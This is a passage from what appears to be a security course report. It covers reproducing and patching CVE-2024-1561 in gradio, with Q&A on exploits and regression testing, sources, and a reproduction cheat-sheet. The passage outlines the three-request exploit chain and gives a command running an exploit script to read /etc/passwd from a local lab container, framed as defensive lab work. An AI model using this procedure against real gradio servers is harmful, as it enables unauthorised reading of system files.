A vulnerability is the weakness itself — here, the missing allow-list in /component_server that lets any Block method be invoked. An exploit is the concrete procedure that turns the weakness into an effect — here, the three HTTP requests (read /config, call move_resource_to_block_cache with /etc/passwd, download the copy via /file=). The vulnerability exists whether or not anyone exploits it; the exploit is one of possibly many ways to use it. What was reproduced was the exploit against a vulnerable version, and then its failure against the patched version.

7. Why is regression testing after a fix critically important?

A security fix changes behaviour, and it is easy to break the product while closing the hole: tightening a path check can break legitimate file widgets, disabling an endpoint can break the UI. Without a regression test you either ship a broken application or, worse, revert the fix under pressure. In this work the verification script therefore checks both directions: the exploit must fail (404 at step 2) and the application must still serve /config and the UI with 200. The same idea is applied to the API: the 28 automated tests are the regression net that lets a security control be changed without silently losing another one.

8. How does the ability to reproduce CVEs help a security specialist?

It converts a text description into a tested mental model: you learn which component, which input, which precondition, and you can then recognise the same pattern in a different product — dynamic dispatch without an allow-list appears in many frameworks. For a pentester it shortens the path from a version banner to a working proof of concept; for a SOC analyst it makes the corresponding log lines recognisable (a POST to /component_server with an unusual fn_name, a burst of /file= requests); for a developer it produces a fix that addresses the cause rather than the symptom. It is also the only honest way to validate that a mitigation actually works.

16. Sources

- OWASP Top 10 (2021) — https://owasp.org/www-project-top-ten/
- OWASP Cheat Sheet Series: Authentication, SQL Injection Prevention, XSS Prevention, JWT — https://cheatsheetseries.owasp.org/

- JWT introduction — https://jwt.io/introduction
- GitHub Actions documentation — https://docs.github.com/en/actions
- Vulhub — https://github.com/vulhub/vulhub (environment: gradio/CVE-2024-1561)
- NVD — CVE-2024-1561 — https://nvd.nist.gov/vuln/detail/CVE-2024-1561
- gradio advisory and patch — https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2 (PR #6884), release notes 4.13.0
- Docker documentation — https://docs.docker.com/

Appendix A. Reproduction cheat-sheet

```
# 1. API
pip install -r requirements-dev.txt
export JWT_SECRET="$(python -c 'import secrets;print(secrets.token_urlsafe(48))')"
python run.py                                  # http://127.0.0.1:5000

# 2. security tooling (same commands as CI)
bandit -r app run.py -ll -f screen
pip-audit -r requirements.txt --strict --desc on
pytest -v

# 3. vulnerable environment
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gradio/CVE-2024-1561 && docker compose up -d

# 4. exploit / verify
python exploit/gradio_exploit.py --target http://127.0.0.1:7860 --file /etc/passwd
docker compose down
docker compose -f docker-compose.fixed.yml up -d --build
python exploit/verify_fix.py http://127.0.0.1:7860
```

Appendix B. Files added for the fix (deliverable folder)

File	Role
cve-fixes/Dockerfile.fixed	patched image (gradio 4.13.0, non-root user)
cve-fixes/docker-compose.fixed.yml	compose file that builds and runs the fixed image
cve-fixes/docker-compose.yml	reference to the vulnerable Vulhub environment
cve-fixes/exploit/gradio_exploit.py	three-step PoC with full HTTP transcript output
cve-fixes/exploit/verify_fix.py	post-fix verification: exploit blocked + regression test
cve-fixes/app/app.py	the gradio application used in both environments
evidence/*.txt	captured outputs (API demo, bandit, pip-audit, pytest, exploit)